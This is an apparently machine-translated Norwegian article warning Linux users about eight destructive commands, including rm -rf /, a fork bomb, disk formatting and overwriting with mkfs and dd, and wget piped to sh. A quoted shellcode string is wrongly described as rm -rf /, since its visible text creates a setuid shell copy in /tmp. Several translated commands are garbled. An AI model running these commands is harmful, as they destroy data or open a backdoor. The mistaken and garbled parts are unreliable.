Skip to main content

8 Deadly Commands Du bør aldri kjøre på Linux

8 Deadly Commands Du bør aldri kjøre på Linux

Geoffrey Carr

Linux terminale kommandoer er kraftige, og Linux vil ikke be deg om bekreftelse hvis du kjører en kommando som vil ødelegge systemet. Det er ikke uvanlig å se trollene på nettet, og anbefale nye Linux-brukere å kjøre disse kommandoene som en spøk.

Lære kommandoene du ikke bør kjøre kan beskytte deg mot troll mens du øker forståelsen av hvordan Linux fungerer. Dette er ikke en uttømmende guide, og kommandoene her kan remixes på en rekke måter.

Merk at mange av disse kommandoene bare vil være farlige hvis de er prefixed med sudo på Ubuntu - de vil ikke fungere ellers. På andre Linux-distribusjoner må de fleste kommandoer kjøres som rot.

rm -rf / - sletter alt!

Kommandoen rm -rf / sletter alt det muligens, inkludert filer på harddisken og filer på tilkoblede flyttbare medieenheter. Denne kommandoen er mer forståelig hvis den er brutt ned:

rm – Remove the following files.

-rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

Linux vil gjerne adlyde denne kommandoen og slette alt uten å spørre deg, så vær forsiktig når du bruker den! Rm-kommandoen kan også brukes på andre farlige måter - rm -rf ~ ville slette alle filer i hjemmemappen din, mens rm-rf. * ville slette alle konfigurasjonsfilene dine.

Leksjonen: Pass på rm-rf.

Forkledd rm-rf /

Her er en annen kodekode som er over hele nettet:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Dette er hex-versjonen av rm -rf / utførelse av denne kommandoen vil slette filene dine akkurat som om du hadde kjørt rm -rf /.

Leksjonen: Ikke kjør merkelige utseende, åpenbart forkledte kommandoer som du ikke forstår.

: () {: |: &};: - Fork Bomb

Følgende linje er en enkel utseende, men farlig, bash funksjon:

:(){ :|: & };:

Denne korte linjen definerer en shell-funksjon som lager nye kopier av seg selv. Prosessen replikerer kontinuerlig seg selv, og kopiene fortsetter å replikere seg selv, og tar raskt opp hele CPU-tid og minne. Dette kan føre til at datamaskinen fryser. Det er i utgangspunktet et benektelsesangrep.

Leksjonen: Bash funksjoner er kraftige, selv svært korte.

mkfs.ext4 / dev / sda1 - Formaterer en harddisk

De mkfs.ext4 / dev / sda1kommandoen er lett å forstå:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Samlet sett kan denne kommandoen tilsvare løpende format c: på Windows - det vil tørke filene på din første partisjon og erstatte dem med et nytt filsystem.

Denne kommandoen kan også komme i andre former - mkfs.ext3 / dev / sdb2 ville formatere den andre partisjonen på den andre harddisken med ext3-filsystemet.

Leksjonen: Pass på å kjøre kommandoer direkte på harddiskenheter som begynner med / dev / sd.

kommando> / dev / sda - Skriver direkte til en harddisk

De kommando> / dev / sda linjen fungerer på samme måte - den kjører en kommando og sender utgangen av den kommandoen direkte til din første harddisk, skriver dataene direkte til harddisken og ødelegger filsystemet.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

Leksjonen: Som ovenfor, pass opp løpekommandoer som involverer harddiskenheter som begynner med / dev / sd.

dd hvis = / dev / tilfeldig av = / dev / sda - Skriver søppel på en harddisk

De dd hvis = / dev / tilfeldig av = / dev / sda linjen vil også utelukke dataene på en av harddiskene dine.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Leksjonen: dd kopierer data fra ett sted til et annet, noe som kan være farlig hvis du kopierer direkte til en enhet.

mv ~ / dev / null - Flytter Hjemmekatalogen til et svart hull

/ dev / null er en annen spesiell plassering - å flytte noe til / dev / null er det samme som å ødelegge det. Tenk på / dev / null som et svart hull. I bunn og grunn, mv ~ / dev / null sender alle dine personlige filer til et svart hull.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

Leksjonen: Den ~ tegnet representerer hjemmemappen din og flytte ting til / dev / null ødelegger dem.

wget http://example.com/something -O - | sh - Nedlastinger og kjører et skript

Ovenstående linje laster ned et skript fra nettet og sender det til sh, som utfører innholdet i skriptet. Dette kan være farlig hvis du ikke er sikker på hva skriptet er, eller hvis du ikke stoler på kilden - ikke kjør usikre skript.

wget – Downloads a file. (You may also see curl in place of wget.)

http://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

Leksjonen: Ikke last ned og kjør usikre skript fra nettet, selv med en kommando.


Kjenner andre farlige kommandoer at nye (og erfarne) Linux-brukere ikke skal kjøre? Legg igjen en kommentar og del dem!

Link
Plus
Send
Send
Pin